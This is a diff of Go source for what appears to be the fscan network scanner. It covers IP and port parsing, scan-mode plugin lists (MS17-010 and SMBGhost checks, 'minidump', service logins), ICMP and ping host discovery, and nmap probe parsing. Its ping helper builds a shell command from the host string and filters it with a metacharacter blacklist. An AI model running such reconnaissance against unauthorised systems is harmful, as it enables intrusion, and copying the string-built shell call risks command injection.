strconv.Itoa((num)&0xff)
allIP = append(allIP, ip)
}
LogInfo(GetText("generate_ip_range", ipRange[0], ipRange[1]))
}
return allIP
}
// IPRange 计算CIDR的起始IP和结束IP
func IPRange(c *net.IPNet) string {
start := c.IP.String()
mask := c.Mask
bcst := make(net.IP, len(c.IP))
copy(bcst, c.IP)
for i := 0; i < len(mask); i++ {
ipIdx := len(bcst) - i - 1
bcst[ipIdx] = c.IP[ipIdx] | ^mask[len(mask)-i-1]
}
end := bcst.String()
result := fmt.Sprintf("%s-%s", start, end)
LogInfo(GetText("cidr_range", result))
return result
}
// Readipfile 从文件中按行读取IP地址
func Readipfile(filename string) ([]string, error) {
file, err := os.Open(filename)
if err != nil {
LogError(GetText("open_file_failed", filename, err))
return nil, err
}
defer file.Close()
var content []string
scanner := bufio.NewScanner(file)
scanner.Split(bufio.ScanLines)
for scanner.Scan() {
line := strings.TrimSpace(scanner.Text())
if line == "" {
continue
}
text := strings.Split(line, ":")
if len(text) == 2 {
port := strings.Split(text[1], " ")[0]
num, err := strconv.Atoi(port)
if err != nil || num < 1 || num > 65535 {
LogError(GetText("invalid_port", line))
continue
}
hosts := ParseIPs(text[0])
for _, host := range hosts {
HostPort = append(HostPort, fmt.Sprintf("%s:%s", host, port))
}
LogInfo(GetText("parse_ip_port", line))
} else {
hosts := ParseIPs(line)
content = append(content, hosts...)
LogInfo(GetText("parse_ip_address", line))
}
}
if err := scanner.Err(); err != nil {
LogError(GetText("read_file_error", err))
return content, err
}
LogInfo(GetText("file_parse_complete", len(content)))
return content, nil
}
// RemoveDuplicate 对字符串切片进行去重
func RemoveDuplicate(old []string) []string {
temp := make(map[string]struct{})
var result []string
for _, item := range old {
if _, exists := temp[item]; !exists {
temp[item] = struct{}{}
result = append(result, item)
}
}
return result
}
// parseIP8 解析/8网段的IP地址
func parseIP8(ip string) []string {
// 去除CIDR后缀获取基础IP
realIP := ip[:len(ip)-2]
testIP := net.ParseIP(realIP)
if testIP == nil {
LogError(GetText("invalid_ip_format", realIP))
return nil
}
// 获取/8网段的第一段
ipRange := strings.Split(ip, ".")[0]
var allIP []string
LogInfo(GetText("parse_subnet", ipRange))
// 遍历所有可能的第二、三段
for a := 0; a <= 255; a++ {
for b := 0; b <= 255; b++ {
// 添加常用网关IP
allIP = append(allIP, fmt.Sprintf("%s.%d.%d.1", ipRange, a, b)) // 默认网关
allIP = append(allIP, fmt.Sprintf("%s.%d.%d.2", ipRange, a, b)) // 备用网关
allIP = append(allIP, fmt.Sprintf("%s.%d.%d.4", ipRange, a, b)) // 常用服务器
allIP = append(allIP, fmt.Sprintf("%s.%d.%d.5", ipRange, a, b)) // 常用服务器
// 随机采样不同范围的IP
allIP = append(allIP, fmt.Sprintf("%s.%d.%d.%d", ipRange, a, b, RandInt(6, 55))) // 低段随机
allIP = append(allIP, fmt.Sprintf("%s.%d.%d.%d", ipRange, a, b, RandInt(56, 100))) // 中低段随机
allIP = append(allIP, fmt.Sprintf("%s.%d.%d.%d", ipRange, a, b, RandInt(101, 150))) // 中段随机
allIP = append(allIP, fmt.Sprintf("%s.%d.%d.%d", ipRange, a, b, RandInt(151, 200))) // 中高段随机
allIP = append(allIP, fmt.Sprintf("%s.%d.%d.%d", ipRange, a, b, RandInt(201, 253))) // 高段随机
allIP = append(allIP, fmt.Sprintf("%s.%d.%d.254", ipRange, a, b)) // 广播地址前
}
}
LogInfo(GetText("sample_ip_generated", len(allIP)))
return allIP
}
// RandInt 生成指定范围内的随机整数
func RandInt(min, max int) int {
if min >= max || min == 0 || max == 0 {
return max
}
return rand.Intn(max-min) + min
}

View File

@ -1,32 +1,51 @@
package common
package Common
import (
"strconv"
"strings"
"sort"
)
func ParsePort(ports string) (scanPorts []int) {
if ports == "" {
return
// ParsePort 解析端口配置字符串为端口号列表
func ParsePort(ports string) []int {
// 预定义的端口组
portGroups := map[string]string{
"service": ServicePorts,
"db": DbPorts,
"web": WebPorts,
"all": AllPorts,
"main": MainPorts,
}
// 检查是否匹配预定义组
if definedPorts, exists := portGroups[ports]; exists {
ports = definedPorts
}
if ports == "" {
return nil
}
var scanPorts []int
slices := strings.Split(ports, ",")
// 处理每个端口配置
for _, port := range slices {
port = strings.TrimSpace(port)
if port == "" {
continue
}
if PortGroup[port] != "" {
port = PortGroup[port]
scanPorts = append(scanPorts, ParsePort(port)...)
continue
}
// 处理端口范围
upper := port
if strings.Contains(port, "-") {
ranges := strings.Split(port, "-")
if len(ranges) < 2 {
LogError(GetText("port_range_format_error", port))
continue
}
// 确保起始端口小于结束端口
startPort, _ := strconv.Atoi(ranges[0])
endPort, _ := strconv.Atoi(ranges[1])
if startPort < endPort {
@ -37,27 +56,38 @@ func ParsePort(ports string) (scanPorts []int) {
upper = ranges[0]
}
}
// 生成端口列表
start, _ := strconv.Atoi(port)
end, _ := strconv.Atoi(upper)
for i := start; i <= end; i++ {
if i > 65535 || i < 1 {
LogError(GetText("ignore_invalid_port", i))
continue
}
scanPorts = append(scanPorts, i)
}
}
// 去重并排序
scanPorts = removeDuplicate(scanPorts)
sort.Ints(scanPorts)
LogInfo(GetText("valid_port_count", len(scanPorts)))
return scanPorts
}
// removeDuplicate 对整数切片进行去重
func removeDuplicate(old []int) []int {
result := []int{}
temp := map[int]struct{}{}
temp := make(map[int]struct{})
var result []int
for _, item := range old {
if _, ok := temp[item]; !ok {
if _, exists := temp[item]; !exists {
temp[item] = struct{}{}
result = append(result, item)
}
}
return result
}

95
Common/ParseScanMode.go Normal file
View File

@ -0,0 +1,95 @@
package Common
// 扫描模式常量 - 使用大写开头表示这是一个预设的扫描模式
const (
ModeAll = "All" // 全量扫描
ModeBasic = "Basic" // 基础扫描
ModeDatabase = "Database" // 数据库扫描
ModeWeb = "Web" // Web扫描
ModeService = "Service" // 服务扫描
ModeVul = "Vul" // 漏洞扫描
ModePort = "Port" // 端口扫描
ModeICMP = "ICMP" // ICMP探测
ModeLocal = "Local" // 本地信息收集
)
// 插件分类映射表 - 所有插件名使用小写
var PluginGroups = map[string][]string{
ModeAll: {
"webtitle", "webpoc", // web类
"mysql", "mssql", "redis", "mongodb", "postgres", // 数据库类
"oracle", "memcached", "elasticsearch", "rabbitmq", "kafka", "activemq", "cassandra", "neo4j", // 数据库类
"ftp", "ssh", "telnet", "smb", "rdp", "vnc", "netbios", "ldap", "smtp", "imap", "pop3", "snmp", "modbus", "rsync", // 服务类
"ms17010", "smbghost", "smb2", // 漏洞类
"findnet", // 其他
},
ModeBasic: {
"webtitle", "ftp", "ssh", "smb", "findnet",
},
ModeDatabase: {
"mysql", "mssql", "redis", "mongodb",
"postgres", "oracle", "memcached", "elasticsearch", "rabbitmq", "kafka", "activemq", "cassandra", "neo4j",
},
ModeWeb: {
"webtitle", "webpoc",
},
ModeService: {
"ftp", "ssh", "telnet", "smb", "rdp", "vnc", "netbios", "ldap", "smtp", "imap", "pop3", "modbus", "rsync",
},
ModeVul: {
"ms17010", "smbghost", "smb2",
},
ModeLocal: {
"localinfo", "minidump", "dcinfo",
},
}
// ParseScanMode 解析扫描模式
func ParseScanMode(mode string) {
LogInfo(GetText("parse_scan_mode", mode))
// 检查是否是预设模式
presetModes := []string{
ModeAll, ModeBasic, ModeDatabase, ModeWeb,
ModeService, ModeVul, ModePort, ModeICMP, ModeLocal,
}
for _, presetMode := range presetModes {
if mode == presetMode {
ScanMode = mode
if plugins := GetPluginsForMode(mode); plugins != nil {
LogInfo(GetText("using_preset_mode_plugins", mode, plugins))
} else {
LogInfo(GetText("using_preset_mode", mode))
}
return
}
}
// 检查是否是有效的插件名
if _, exists := PluginManager[mode]; exists {
ScanMode = mode
LogInfo(GetText("using_single_plugin", mode))
return
}
// 默认使用All模式
ScanMode = ModeAll
LogInfo(GetText("using_default_mode", ModeAll))
LogInfo(GetText("included_plugins", PluginGroups[ModeAll]))
}
// GetPluginsForMode 获取指定模式下的插件列表
func GetPluginsForMode(mode string) []string {
plugins, exists := PluginGroups[mode]
if exists {
return plugins
}
return nil
}
// 辅助函数
func IsPortScan() bool { return ScanMode == ModePort }
func IsICMPScan() bool { return ScanMode == ModeICMP }
func IsWebScan() bool { return ScanMode == ModeWeb }
func GetScanMode() string { return ScanMode }

23
Common/Ports.go Normal file
View File

@ -0,0 +1,23 @@
package Common
import (
"strconv"
"strings"
)
var ServicePorts = "21,22,23,25,110,135,139,143,162,389,445,465,502,587,636,873,993,995,1433,1521,2222,3306,3389,5020,5432,5672,5671,6379,8161,8443,9000,9092,9093,9200,10051,11211,15672,15671,27017,61616,61613"
var DbPorts = "1433,1521,3306,5432,5672,6379,7687,9042,9093,9200,11211,27017,61616"
var WebPorts = "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8005,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10051,10250,12018,12443,14000,15672,15671,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,20880,21000,21501,21502,28018"
var AllPorts = "1-65535"
var MainPorts = "21,22,23,80,81,110,135,139,143,389,443,445,502,873,993,995,1433,1521,3306,5432,5672,6379,7001,7687,8000,8005,8009,8080,8089,8443,9000,9042,9092,9200,10051,11211,15672,27017,61616"
func ParsePortsFromString(portsStr string) []int {
var ports []int
portStrings := strings.Split(portsStr, ",")
for _, portStr := range portStrings {
if port, err := strconv.Atoi(portStr); err == nil {
ports = append(ports, port)
}
}
return ports
}

78
Common/Proxy.go Normal file
View File

@ -0,0 +1,78 @@
package Common
import (
"errors"
"fmt"
"golang.org/x/net/proxy"
"net"
"net/url"
"strings"
"time"
)
// WrapperTcpWithTimeout 创建一个带超时的TCP连接
func WrapperTcpWithTimeout(network, address string, timeout time.Duration) (net.Conn, error) {
d := &net.Dialer{Timeout: timeout}
return WrapperTCP(network, address, d)
}
// WrapperTCP 根据配置创建TCP连接
func WrapperTCP(network, address string, forward *net.Dialer) (net.Conn, error) {
// 直连模式
if Socks5Proxy == "" {
conn, err := forward.Dial(network, address)
if err != nil {
return nil, fmt.Errorf(GetText("tcp_conn_failed"), err)
}
return conn, nil
}
// Socks5代理模式
dialer, err := Socks5Dialer(forward)
if err != nil {
return nil, fmt.Errorf(GetText("socks5_create_failed"), err)
}
conn, err := dialer.Dial(network, address)
if err != nil {
return nil, fmt.Errorf(GetText("socks5_conn_failed"), err)
}
return conn, nil
}
// Socks5Dialer 创建Socks5代理拨号器
func Socks5Dialer(forward *net.Dialer) (proxy.Dialer, error) {
// 解析代理URL
u, err := url.Parse(Socks5Proxy)
if err != nil {
return nil, fmt.Errorf(GetText("socks5_parse_failed"), err)
}
// 验证代理类型
if strings.ToLower(u.Scheme) != "socks5" {
return nil, errors.New(GetText("socks5_only"))
}
address := u.Host
var dialer proxy.Dialer
// 根据认证信息创建代理
if u.User.String() != "" {
// 使用用户名密码认证
auth := proxy.Auth{
User: u.User.Username(),
}
auth.Password, _ = u.User.Password()
dialer, err = proxy.SOCKS5("tcp", address, &auth, forward)
} else {
// 无认证模式
dialer, err = proxy.SOCKS5("tcp", address, nil, forward)
}
if err != nil {
return nil, fmt.Errorf(GetText("socks5_create_failed"), err)
}
return dialer, nil
}

40
Common/Types.go Normal file
View File

@ -0,0 +1,40 @@
// Config/types.go
package Common
type HostInfo struct {
Host string
Ports string
Url string
Infostr []string
}
// ScanPlugin 定义扫描插件的结构
type ScanPlugin struct {
Name string // 插件名称
Ports []int // 关联的端口列表,空切片表示特殊扫描类型
ScanFunc func(*HostInfo) error // 扫描函数
}
// HasPort 检查插件是否支持指定端口
func (p *ScanPlugin) HasPort(port int) bool {
// 如果没有指定端口列表,表示支持所有端口
if len(p.Ports) == 0 {
return true
}
// 检查端口是否在支持列表中
for _, supportedPort := range p.Ports {
if port == supportedPort {
return true
}
}
return false
}
// PluginManager 管理插件注册
var PluginManager = make(map[string]ScanPlugin)
// RegisterPlugin 注册插件
func RegisterPlugin(name string, plugin ScanPlugin) {
PluginManager[name] = plugin
}

1126
Common/i18n.go Normal file

File diff suppressed because it is too large Load Diff

429
Core/ICMP.go Normal file
View File

@ -0,0 +1,429 @@
package Core
import (
"bytes"
"fmt"
"github.com/shadow1ng/fscan/Common"
"golang.org/x/net/icmp"
"net"
"os/exec"
"runtime"
"strings"
"sync"
"time"
)
var (
AliveHosts []string // 存活主机列表
ExistHosts = make(map[string]struct{}) // 已发现主机记录
livewg sync.WaitGroup // 存活检测等待组
)
// CheckLive 检测主机存活状态
func CheckLive(hostslist []string, Ping bool) []string {
// 创建主机通道
chanHosts := make(chan string, len(hostslist))
// 处理存活主机
go handleAliveHosts(chanHosts, hostslist, Ping)
// 根据Ping参数选择检测方式
if Ping {
// 使用ping方式探测
RunPing(hostslist, chanHosts)
} else {
probeWithICMP(hostslist, chanHosts)
}
// 等待所有检测完成
livewg.Wait()
close(chanHosts)
// 输出存活统计信息
printAliveStats(hostslist)
return AliveHosts
}
// IsContain 检查切片中是否包含指定元素
func IsContain(items []string, item string) bool {
for _, eachItem := range items {
if eachItem == item {
return true
}
}
return false
}
func handleAliveHosts(chanHosts chan string, hostslist []string, isPing bool) {
for ip := range chanHosts {
if _, ok := ExistHosts[ip]; !ok && IsContain(hostslist, ip) {
ExistHosts[ip] = struct{}{}
AliveHosts = append(AliveHosts, ip)
// 使用Output系统保存存活主机信息
protocol := "ICMP"
if isPing {
protocol = "PING"
}
result := &Common.ScanResult{
Time: time.Now(),
Type: Common.HOST,
Target: ip,
Status: "alive",
Details: map[string]interface{}{
"protocol": protocol,
},
}
Common.SaveResult(result)
// 保留原有的控制台输出
if !Common.Silent {
Common.LogSuccess(Common.GetText("target_alive", ip, protocol))
}
}
livewg.Done()
}
}
// probeWithICMP 使用ICMP方式探测
func probeWithICMP(hostslist []string, chanHosts chan string) {
// 尝试监听本地ICMP
conn, err := icmp.ListenPacket("ip4:icmp", "0.0.0.0")
if err == nil {
RunIcmp1(hostslist, conn, chanHosts)
return
}
Common.LogError(Common.GetText("icmp_listen_failed", err))
Common.LogInfo(Common.GetText("trying_no_listen_icmp"))
// 尝试无监听ICMP探测
conn2, err := net.DialTimeout("ip4:icmp", "127.0.0.1", 3*time.Second)
if err == nil {
defer conn2.Close()
RunIcmp2(hostslist, chanHosts)
return
}
Common.LogError(Common.GetText("icmp_connect_failed", err))
Common.LogInfo(Common.GetText("insufficient_privileges"))
Common.LogInfo(Common.GetText("switching_to_ping"))
// 降级使用ping探测
RunPing(hostslist, chanHosts)
}
// printAliveStats 打印存活统计信息
func printAliveStats(hostslist []string) {
// 大规模扫描时输出 /16 网段统计
if len(hostslist) > 1000 {
arrTop, arrLen := ArrayCountValueTop(AliveHosts, Common.LiveTop, true)
for i := 0; i < len(arrTop); i++ {
Common.LogSuccess(Common.GetText("subnet_16_alive", arrTop[i], arrLen[i]))
}
}
// 输出 /24 网段统计
if len(hostslist) > 256 {
arrTop, arrLen := ArrayCountValueTop(AliveHosts, Common.LiveTop, false)
for i := 0; i < len(arrTop); i++ {
Common.LogSuccess(Common.GetText("subnet_24_alive", arrTop[i], arrLen[i]))
}
}
}
// RunIcmp1 使用ICMP批量探测主机存活(监听模式)
func RunIcmp1(hostslist []string, conn *icmp.PacketConn, chanHosts chan string) {
endflag := false
// 启动监听协程
go func() {
for {
if endflag {
return
}
// 接收ICMP响应
msg := make([]byte, 100)
_, sourceIP, _ := conn.ReadFrom(msg)
if sourceIP != nil {
livewg.Add(1)
chanHosts <- sourceIP.String()
}
}
}()
// 发送ICMP请求
for _, host := range hostslist {
dst, _ := net.ResolveIPAddr("ip", host)
IcmpByte := makemsg(host)
conn.WriteTo(IcmpByte, dst)
}
// 等待响应
start := time.Now()
for {
// 所有主机都已响应则退出
if len(AliveHosts) == len(hostslist) {
break
}
// 根据主机数量设置超时时间
since := time.Since(start)
wait := time.Second * 6
if len(hostslist) <= 256 {
wait = time.Second * 3
}
if since > wait {
break
}
}
endflag = true
conn.Close()
}
// RunIcmp2 使用ICMP并发探测主机存活(无监听模式)
func RunIcmp2(hostslist []string, chanHosts chan string) {
// 控制并发数
num := 1000
if len(hostslist) < num {
num = len(hostslist)
}
var wg sync.WaitGroup
limiter := make(chan struct{}, num)
// 并发探测
for _, host := range hostslist {
wg.Add(1)
limiter <- struct{}{}
go func(host string) {
defer func() {
<-limiter
wg.Done()
}()
if icmpalive(host) {
livewg.Add(1)
chanHosts <- host
}
}(host)
}
wg.Wait()
close(limiter)
}
// icmpalive 检测主机ICMP是否存活
func icmpalive(host string) bool {
startTime := time.Now()
// 建立ICMP连接
conn, err := net.DialTimeout("ip4:icmp", host, 6*time.Second)
if err != nil {
return false
}
defer conn.Close()
// 设置超时时间
if err := conn.SetDeadline(startTime.Add(6 * time.Second)); err != nil {
return false
}
// 构造并发送ICMP请求
msg := makemsg(host)
if _, err := conn.Write(msg); err != nil {
return false
}
// 接收ICMP响应
receive := make([]byte, 60)
if _, err := conn.Read(receive); err != nil {
return false
}
return true
}
// RunPing 使用系统Ping命令并发探测主机存活
func RunPing(hostslist []string, chanHosts chan string) {
var wg sync.WaitGroup
// 限制并发数为50
limiter := make(chan struct{}, 50)
// 并发探测
for _, host := range hostslist {
wg.Add(1)
limiter <- struct{}{}
go func(host string) {
defer func() {
<-limiter
wg.Done()
}()
if ExecCommandPing(host) {
livewg.Add(1)
chanHosts <- host
}
}(host)
}
wg.Wait()
}
// ExecCommandPing 执行系统Ping命令检测主机存活
func ExecCommandPing(ip string) bool {
// 过滤黑名单字符
forbiddenChars := []string{";", "&", "|", "`", "$", "\\", "'", "%", "\"", "\n"}
for _, char := range forbiddenChars {
if strings.Contains(ip, char) {
return false
}
}
var command *exec.Cmd
// 根据操作系统选择不同的ping命令
switch runtime.GOOS {
case "windows":
command = exec.Command("cmd", "/c", "ping -n 1 -w 1 "+ip+" && echo true || echo false")
case "darwin":
command = exec.Command("/bin/bash", "-c", "ping -c 1 -W 1 "+ip+" && echo true || echo false")
default: // linux
command = exec.Command("/bin/bash", "-c", "ping -c 1 -w 1 "+ip+" && echo true || echo false")
}
// 捕获命令输出
var outinfo bytes.Buffer
command.Stdout = &outinfo
// 执行命令
if err := command.Start(); err != nil {
return false
}
if err := command.Wait(); err != nil {
return false
}
// 分析输出结果
output := outinfo.String()
return strings.Contains(output, "true") && strings.Count(output, ip) > 2
}
// makemsg 构造ICMP echo请求消息
func makemsg(host string) []byte {
msg := make([]byte, 40)
// 获取标识符
id0, id1 := genIdentifier(host)
// 设置ICMP头部
msg[0] = 8 // Type: Echo Request
msg[1] = 0 // Code: 0
msg[2] = 0 // Checksum高位(待计算)
msg[3] = 0 // Checksum低位(待计算)
msg[4], msg[5] = id0, id1 // Identifier
msg[6], msg[7] = genSequence(1) // Sequence Number
// 计算校验和
check := checkSum(msg[0:40])
msg[2] = byte(check >> 8) // 设置校验和高位
msg[3] = byte(check & 255) // 设置校验和低位
return msg
}
// checkSum 计算ICMP校验和
func checkSum(msg []byte) uint16 {
sum := 0
length := len(msg)
// 按16位累加
for i := 0; i < length-1; i += 2 {
sum += int(msg[i])*256 + int(msg[i+1])
}
// 处理奇数长度情况
if length%2 == 1 {
sum += int(msg[length-1]) * 256
}
// 将高16位加到低16位
sum = (sum >> 16) + (sum & 0xffff)
sum = sum + (sum >> 16)
// 取反得到校验和
return uint16(^sum)
}
// genSequence 生成ICMP序列号
func genSequence(v int16) (byte, byte) {
ret1 := byte(v >> 8) // 高8位
ret2 := byte(v & 255) // 低8位
return ret1, ret2
}
// genIdentifier 根据主机地址生成标识符
func genIdentifier(host string) (byte, byte) {
return host[0], host[1] // 使用主机地址前两个字节
}
// ArrayCountValueTop 统计IP地址段存活数量并返回TOP N结果
func ArrayCountValueTop(arrInit []string, length int, flag bool) (arrTop []string, arrLen []int) {
if len(arrInit) == 0 {
return
}
// 统计各网段出现次数
segmentCounts := make(map[string]int)
for _, ip := range arrInit {
segments := strings.Split(ip, ".")
if len(segments) != 4 {
continue
}
// 根据flag确定统计B段还是C段
var segment string
if flag {
segment = fmt.Sprintf("%s.%s", segments[0], segments[1]) // B段
} else {
segment = fmt.Sprintf("%s.%s.%s", segments[0], segments[1], segments[2]) // C段
}
segmentCounts[segment]++
}
// 创建副本用于排序
sortMap := make(map[string]int)
for k, v := range segmentCounts {
sortMap[k] = v
}
// 获取TOP N结果
for i := 0; i < length && len(sortMap) > 0; i++ {
maxSegment := ""
maxCount := 0
// 查找当前最大值
for segment, count := range sortMap {
if count > maxCount {
maxCount = count
maxSegment = segment
}
}
// 添加到结果集
arrTop = append(arrTop, maxSegment)
arrLen = append(arrLen, maxCount)
// 从待处理map中删除已处理项
delete(sortMap, maxSegment)
}
return
}

877
Core/PortFinger.go Normal file
View File

@ -0,0 +1,877 @@
package Core
import (
_ "embed"
"encoding/hex"
"fmt"
"github.com/shadow1ng/fscan/Common"
"regexp"
"strconv"
"strings"
)
//go:embed nmap-service-probes.txt
var ProbeString string
var v VScan // 改为VScan类型而不是指针
type VScan struct {
Exclude string
AllProbes []Probe
UdpProbes []Probe
Probes []Probe
ProbesMapKName map[string]Probe
}
type Probe struct {
Name string // 探测器名称
Data string // 探测数据
Protocol string // 协议
Ports string // 端口范围
SSLPorts string // SSL端口范围
TotalWaitMS int // 总等待时间
TCPWrappedMS int // TCP包装等待时间
Rarity int // 稀有度
Fallback string // 回退探测器名称
Matchs *[]Match // 匹配规则列表
}
type Match struct {
IsSoft bool // 是否为软匹配
Service string // 服务名称
Pattern string // 匹配模式
VersionInfo string // 版本信息格式
FoundItems []string // 找到的项目
PatternCompiled *regexp.Regexp // 编译后的正则表达式
}
type Directive struct {
DirectiveName string
Flag string
Delimiter string
DirectiveStr string
}
type Extras struct {
VendorProduct string
Version string
Info string
Hostname string
OperatingSystem string
DeviceType string
CPE string
}
func init() {
Common.LogDebug("开始初始化全局变量")
v = VScan{} // 直接初始化VScan结构体
v.Init()
// 获取并检查 NULL 探测器
if nullProbe, ok := v.ProbesMapKName["NULL"]; ok {
Common.LogDebug(fmt.Sprintf("成功获取NULL探测器Data长度: %d", len(nullProbe.Data)))
null = &nullProbe
} else {
Common.LogDebug("警告: 未找到NULL探测器")
}
// 获取并检查 GenericLines 探测器
if commonProbe, ok := v.ProbesMapKName["GenericLines"]; ok {
Common.LogDebug(fmt.Sprintf("成功获取GenericLines探测器Data长度: %d", len(commonProbe.Data)))
common = &commonProbe
} else {
Common.LogDebug("警告: 未找到GenericLines探测器")
}
Common.LogDebug("全局变量初始化完成")
}
// 解析指令语法,返回指令结构
func (p *Probe) getDirectiveSyntax(data string) (directive Directive) {
Common.LogDebug("开始解析指令语法,输入数据: " + data)
directive = Directive{}
// 查找第一个空格的位置
blankIndex := strings.Index(data, " ")
if blankIndex == -1 {
Common.LogDebug("未找到空格分隔符")
return directive
}
// 解析各个字段
directiveName := data[:blankIndex]
Flag := data[blankIndex+1 : blankIndex+2]
delimiter := data[blankIndex+2 : blankIndex+3]
directiveStr := data[blankIndex+3:]
directive.DirectiveName = directiveName
directive.Flag = Flag
directive.Delimiter = delimiter
directive.DirectiveStr = directiveStr
Common.LogDebug(fmt.Sprintf("指令解析结果: 名称=%s, 标志=%s, 分隔符=%s, 内容=%s",
directiveName, Flag, delimiter, directiveStr))
return directive
}
// 解析探测器信息
func (p *Probe) parseProbeInfo(probeStr string) {
Common.LogDebug("开始解析探测器信息,输入字符串: " + probeStr)
// 提取协议和其他信息
proto := probeStr[:4]
other := probeStr[4:]
// 验证协议类型
if !(proto == "TCP " || proto == "UDP ") {
errMsg := "探测器协议必须是 TCP 或 UDP"
Common.LogDebug("错误: " + errMsg)
panic(errMsg)
}
// 验证其他信息不为空
if len(other) == 0 {
errMsg := "nmap-service-probes - 探测器名称无效"
Common.LogDebug("错误: " + errMsg)
panic(errMsg)
}
// 解析指令
directive := p.getDirectiveSyntax(other)
// 设置探测器属性
p.Name = directive.DirectiveName
p.Data = strings.Split(directive.DirectiveStr, directive.Delimiter)[0]
p.Protocol = strings.ToLower(strings.TrimSpace(proto))
Common.LogDebug(fmt.Sprintf("探测器解析完成: 名称=%s, 数据=%s, 协议=%s",
p.Name, p.Data, p.Protocol))
}
// 从字符串解析探测器信息
func (p *Probe) fromString(data string) error {
Common.LogDebug("开始解析探测器字符串数据")
var err error
// 预处理数据
data = strings.TrimSpace(data)
lines := strings.Split(data, "\n")
if len(lines) == 0 {
return fmt.Errorf("输入数据为空")
}
probeStr := lines[0]
p.parseProbeInfo(probeStr)
// 解析匹配规则和其他配置
var matchs []Match
for _, line := range lines {
Common.LogDebug("处理行: " + line)
switch {
case strings.HasPrefix(line, "match "):
match, err := p.getMatch(line)
if err != nil {
Common.LogDebug("解析match失败: " + err.Error())
continue
}
matchs = append(matchs, match)
case strings.HasPrefix(line, "softmatch "):
softMatch, err := p.getSoftMatch(line)
if err != nil {
Common.LogDebug("解析softmatch失败: " + err.Error())
continue
}
matchs = append(matchs, softMatch)
case strings.HasPrefix(line, "ports "):
p.parsePorts(line)
case strings.HasPrefix(line, "sslports "):
p.parseSSLPorts(line)
case strings.HasPrefix(line, "totalwaitms "):
p.parseTotalWaitMS(line)
case strings.HasPrefix(line, "tcpwrappedms "):
p.parseTCPWrappedMS(line)
case strings.HasPrefix(line, "rarity "):
p.parseRarity(line)
case strings.HasPrefix(line, "fallback "):
p.parseFallback(line)
}
}
p.Matchs = &matchs
Common.LogDebug(fmt.Sprintf("解析完成,共有 %d 个匹配规则", len(matchs)))
return err
}
// 解析端口配置
func (p *Probe) parsePorts(data string) {
p.Ports = data[len("ports")+1:]
Common.LogDebug("解析端口: " + p.Ports)
}
// 解析SSL端口配置
func (p *Probe) parseSSLPorts(data string) {
p.SSLPorts = data[len("sslports")+1:]
Common.LogDebug("解析SSL端口: " + p.SSLPorts)
}
// 解析总等待时间
func (p *Probe) parseTotalWaitMS(data string) {
waitMS, err := strconv.Atoi(strings.TrimSpace(data[len("totalwaitms")+1:]))
if err != nil {
Common.LogDebug("解析总等待时间失败: " + err.Error())
return
}
p.TotalWaitMS = waitMS
Common.LogDebug(fmt.Sprintf("总等待时间: %d ms", waitMS))
}
// 解析TCP包装等待时间
func (p *Probe) parseTCPWrappedMS(data string) {
wrappedMS, err := strconv.Atoi(strings.TrimSpace(data[len("tcpwrappedms")+1:]))
if err != nil {
Common.LogDebug("解析TCP包装等待时间失败: " + err.Error())
return
}
p.TCPWrappedMS = wrappedMS
Common.LogDebug(fmt.Sprintf("TCP包装等待时间: %d ms", wrappedMS))
}
// 解析稀有度
func (p *Probe) parseRarity(data string) {
rarity, err := strconv.Atoi(strings.TrimSpace(data[len("rarity")+1:]))
if err != nil {
Common.LogDebug("解析稀有度失败: " + err.Error())
return
}
p.Rarity = rarity
Common.LogDebug(fmt.Sprintf("稀有度: %d", rarity))
}
// 解析回退配置
func (p *Probe) parseFallback(data string) {
p.Fallback = data[len("fallback")+1:]
Common.LogDebug("回退配置: " + p.Fallback)
}
// 判断是否为十六进制编码
func isHexCode(b []byte) bool {
matchRe := regexp.MustCompile(`\\x[0-9a-fA-F]{2}`)
return matchRe.Match(b)
}
// 判断是否为八进制编码
func isOctalCode(b []byte) bool {
matchRe := regexp.MustCompile(`\\[0-7]{1,3}`)
return matchRe.Match(b)
}
// 判断是否为结构化转义字符
func isStructCode(b []byte) bool {
matchRe := regexp.MustCompile(`\\[aftnrv]`)
return matchRe.Match(b)
}
// 判断是否为正则表达式特殊字符
func isReChar(n int64) bool {
reChars := `.*?+{}()^$|\`
for _, char := range reChars {
if n == int64(char) {
return true
}
}
return false
}
// 判断是否为其他转义序列
func isOtherEscapeCode(b []byte) bool {
matchRe := regexp.MustCompile(`\\[^\\]`)
return matchRe.Match(b)
}
// 从内容解析探测器规则
func (v *VScan) parseProbesFromContent(content string) {
Common.LogDebug("开始解析探测器规则文件内容")
var probes []Probe
var lines []string
// 过滤注释和空行
linesTemp := strings.Split(content, "\n")
for _, lineTemp := range linesTemp {
lineTemp = strings.TrimSpace(lineTemp)
if lineTemp == "" || strings.HasPrefix(lineTemp, "#") {
continue
}
lines = append(lines, lineTemp)
}
// 验证文件内容
if len(lines) == 0 {
errMsg := "读取nmap-service-probes文件失败: 内容为空"
Common.LogDebug("错误: " + errMsg)
panic(errMsg)
}
// 检查Exclude指令
excludeCount := 0
for _, line := range lines {
if strings.HasPrefix(line, "Exclude ") {
excludeCount++
}
if excludeCount > 1 {
errMsg := "nmap-service-probes文件中只允许有一个Exclude指令"
Common.LogDebug("错误: " + errMsg)
panic(errMsg)
}
}
// 验证第一行格式
firstLine := lines[0]
if !(strings.HasPrefix(firstLine, "Exclude ") || strings.HasPrefix(firstLine, "Probe ")) {
errMsg := "解析错误: 首行必须以\"Probe \"或\"Exclude \"开头"
Common.LogDebug("错误: " + errMsg)
panic(errMsg)
}
// 处理Exclude指令
if excludeCount == 1 {
